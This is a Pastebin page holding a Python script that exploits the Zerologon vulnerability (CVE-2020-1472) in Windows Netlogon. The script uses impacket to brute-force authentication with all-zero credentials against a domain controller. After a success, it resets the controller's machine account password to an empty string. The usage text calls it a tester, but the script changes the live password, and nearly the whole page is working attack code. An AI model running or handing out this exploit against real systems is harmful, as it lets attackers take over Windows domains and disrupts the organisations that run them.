W0rMz000

CVE-2020-1472

Nov 3rd, 2020
1,345
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.95 KB | None | 0 0
  1. #!/usr/bin/env python3
  2.  
  3. from impacket.dcerpc.v5 import nrpc, epm
  4. from impacket.dcerpc.v5.dtypes import NULL
  5. from impacket.dcerpc.v5 import transport
  6. from impacket import crypto
  7.  
  8. import hmac, hashlib, struct, sys, socket, time
  9. from binascii import hexlify, unhexlify
  10. from subprocess import check_call
  11.  
  12. # Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average.
  13. MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
  14.  
  15. def fail(msg):
  16.   print(msg, file=sys.stderr)
  17.   print('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
  18.   sys.exit(2)
  19.  
  20. def try_zero_authenticate(dc_handle, dc_ip, target_computer):
  21.   # Connect to the DC's Netlogon service.
  22.   binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
  23.   rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
  24.   rpc_con.connect()
  25.   rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
  26.  
  27.   # Use an all-zero challenge and credential.
  28.   plaintext = b'\x00' * 8
  29.   ciphertext = b'\x00' * 8
  30.  
  31.   # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
  32.   flags = 0x212fffff
  33.  
  34.   # Send challenge and authentication request.
  35.   nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
  36.   try:
  37.     server_auth = nrpc.hNetrServerAuthenticate3(
  38.       rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
  39.       target_computer + '\x00', ciphertext, flags
  40.     )
  41.  
  42.  
  43.     # It worked!
  44.     assert server_auth['ErrorCode'] == 0
  45.     return rpc_con
  46.  
  47.   except nrpc.DCERPCSessionError as ex:
  48.     # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
  49.     if ex.get_error_code() == 0xc0000022:
  50.       return None
  51.     else:
  52.       fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
  53.   except BaseException as ex:
  54.     fail(f'Unexpected error: {ex}.')
  55.  
  56. def exploit(dc_handle, rpc_con, target_computer):
  57.     request = nrpc.NetrServerPasswordSet2()
  58.     request['PrimaryName'] = dc_handle + '\x00'
  59.     request['AccountName'] = target_computer + '$\x00'
  60.     request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
  61.     authenticator = nrpc.NETLOGON_AUTHENTICATOR()
  62.     authenticator['Credential'] = b'\x00' * 8
  63.     authenticator['Timestamp'] = 0
  64.     request['Authenticator'] = authenticator
  65.     request['ComputerName'] = target_computer + '\x00'
  66.     request['ClearNewPassword'] = b'\x00' * 516
  67.     return rpc_con.request(request)
  68.  
  69. def perform_attack(dc_handle, dc_ip, target_computer):
  70.   # Keep authenticating until succesfull. Expected average number of attempts needed: 256.
  71.   print('Performing authentication attempts...')
  72.   rpc_con = None
  73.   for attempt in range(0, MAX_ATTEMPTS):
  74.     rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)
  75.  
  76.     if rpc_con == None:
  77.       print('=', end='', flush=True)
  78.     else:
  79.       break
  80.  
  81.  
  82.   if rpc_con:
  83.     print('\nTarget vulnerable, changing account password to empty string')
  84.     result = exploit(dc_handle, rpc_con, target_computer)
  85.     print('\nResult: ', end='')
  86.     print(result['ErrorCode'])
  87.     if result['ErrorCode'] == 0:
  88.         print('\nExploit complete!')
  89.     else:
  90.         print('Non-zero return code, something went wrong?')
  91.   else:
  92.     print('\nAttack failed. Target is probably patched.')
  93.     sys.exit(1)
  94.  
  95.  
  96. if __name__ == '__main__':
  97.   if not (3 <= len(sys.argv) <= 4):
  98.     print('Usage: zerologon_tester.py <dc-name> <dc-ip>\n')
  99.     print('Tests whether a domain controller is vulnerable to the Zerologon attack. Resets the DC account password to an empty string when vulnerable.')
  100.     print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.')
  101.     sys.exit(1)
  102.   else:
  103.     [_, dc_name, dc_ip] = sys.argv
  104.  
  105.     dc_name = dc_name.rstrip('$')
  106.     perform_attack('\\\\' + dc_name, dc_ip, dc_name)
  107.  
Advertisement
Add Comment
Please, Sign In to add comment